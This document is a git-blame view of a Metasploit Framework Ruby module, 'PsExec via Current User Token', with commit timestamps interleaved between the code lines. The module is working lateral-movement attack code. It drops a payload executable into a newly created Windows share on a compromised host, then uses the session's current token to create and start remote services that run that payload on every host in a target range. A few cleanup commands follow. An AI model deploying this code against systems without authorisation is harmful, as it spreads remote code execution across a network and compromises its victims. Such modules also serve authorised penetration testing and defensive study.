2012-08-01 07:05:10 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2013-03-07 23:53:19 +00:00
|
|
|
# http://metasploit.com/framework/
|
2012-08-01 07:05:10 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
2012-08-02 04:51:36 +00:00
|
|
|
require 'msf/core/post/windows/services'
|
2012-08-10 19:52:54 +00:00
|
|
|
require 'msf/core/post/common'
|
|
|
|
require 'msf/core/post/file'
|
2012-10-23 18:24:05 +00:00
|
|
|
require 'msf/core/exploit/exe'
|
2012-08-01 07:05:10 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
2012-08-04 16:05:38 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2012-08-10 19:52:54 +00:00
|
|
|
include Post::Common
|
2012-11-06 23:30:04 +00:00
|
|
|
include Post::Windows::Services
|
2012-08-01 07:05:10 +00:00
|
|
|
include Exploit::EXE
|
|
|
|
include Post::File
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2012-08-04 16:05:38 +00:00
|
|
|
'Name' => 'PsExec via Current User Token',
|
2012-08-01 07:05:10 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module uploads an executable file to the victim system, creates
|
|
|
|
a share containing that executable, creates a remote service on each
|
|
|
|
target system using a UNC path to that file, and finally starts the
|
|
|
|
service(s).
|
|
|
|
|
|
|
|
The result is similar to psexec but with the added benefit of using
|
|
|
|
the session's current authentication token instead of having to know
|
|
|
|
a password or hash.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2012-08-02 17:13:23 +00:00
|
|
|
'Author' => [
|
|
|
|
'egypt',
|
|
|
|
'jabra' # Brainstorming and help with original technique
|
|
|
|
],
|
2012-08-01 07:05:10 +00:00
|
|
|
'References' => [
|
|
|
|
# same as for windows/smb/psexec
|
|
|
|
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
|
|
|
[ 'OSVDB', '3106'],
|
2012-08-13 20:28:04 +00:00
|
|
|
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
|
2012-08-01 07:05:10 +00:00
|
|
|
],
|
2012-08-04 16:05:38 +00:00
|
|
|
'DisclosureDate' => 'Jan 01 1999',
|
2012-10-23 18:33:01 +00:00
|
|
|
'Platform' => [ 'win' ],
|
2012-08-01 07:05:10 +00:00
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'Targets' => [ [ 'Universal', {} ] ],
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new("INTERNAL_ADDRESS", [
|
|
|
|
false,
|
|
|
|
"Session's internal address or hostname for the victims to grab the "+
|
|
|
|
"payload from (Default: detected)"
|
|
|
|
]),
|
|
|
|
OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]),
|
|
|
|
OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
|
|
|
|
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
|
|
|
|
])
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
name = datastore["NAME"] || Rex::Text.rand_text_alphanumeric(10)
|
|
|
|
display_name = datastore["DISPNAME"] || Rex::Text.rand_text_alphanumeric(10)
|
|
|
|
|
|
|
|
# XXX Find the domain controller
|
|
|
|
|
|
|
|
#share_host = datastore["INTERNAL_ADDRESS"] || detect_address
|
|
|
|
share_host = datastore["INTERNAL_ADDRESS"] || session.session_host
|
|
|
|
print_status "Using #{share_host} as the internal address for victims to get the payload from"
|
|
|
|
|
|
|
|
# Build a random name for the share and directory
|
|
|
|
share_name = Rex::Text.rand_text_alphanumeric(8)
|
|
|
|
drive = session.fs.file.expand_path("%SYSTEMDRIVE%")
|
|
|
|
share_dir = "#{drive}\\#{share_name}"
|
|
|
|
|
|
|
|
# Create them
|
|
|
|
print_status("Creating share #{share_dir}")
|
|
|
|
session.fs.dir.mkdir(share_dir)
|
|
|
|
cmd_exec("net share #{share_name}=#{share_dir}")
|
|
|
|
|
|
|
|
# Generate an executable from the shellcode and drop it in the share
|
|
|
|
# directory
|
|
|
|
filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
|
|
|
|
payload_exe = generate_payload_exe_service(
|
|
|
|
:servicename => name,
|
|
|
|
# XXX Ghetto
|
|
|
|
:arch => payload.send(:pinst).arch.first
|
|
|
|
)
|
|
|
|
|
|
|
|
print_status("Dropping payload #{filename}")
|
|
|
|
write_file("#{share_dir}\\#{filename}", payload_exe)
|
|
|
|
|
|
|
|
service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"
|
|
|
|
|
|
|
|
begin
|
|
|
|
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
|
|
|
|
begin
|
|
|
|
print_status("#{server.ljust(16)} Creating service #{name}")
|
|
|
|
|
|
|
|
# 3 is Manual startup. Should probably have constants for this junk
|
|
|
|
service_create(name, display_name, service_executable, 3, server)
|
|
|
|
|
|
|
|
# If everything went well, this will create a session. If not, it
|
|
|
|
# might be permissions issues or possibly we failed to create the
|
|
|
|
# service.
|
|
|
|
print_status("#{server.ljust(16)} Starting the service")
|
|
|
|
service_start(name, server)
|
|
|
|
|
|
|
|
print_status("#{server.ljust(16)} Deleting the service")
|
|
|
|
service_delete(name, server)
|
|
|
|
rescue
|
|
|
|
print_error("Exception running payload: #{$!.class} : #{$!}")
|
2012-10-24 05:44:53 +00:00
|
|
|
print_warning("#{server.ljust(16)} WARNING: May have failed to clean up!")
|
|
|
|
print_warning("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}")
|
2012-08-01 07:05:10 +00:00
|
|
|
next
|
|
|
|
end
|
|
|
|
end
|
|
|
|
ensure
|
|
|
|
print_status("Deleting share #{share_name}")
|
|
|
|
cmd_exec("net share #{share_name} /delete /y")
|
|
|
|
print_status("Deleting files #{share_dir}")
|
|
|
|
cmd_exec("cmd /c rmdir /q /s #{share_dir}")
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|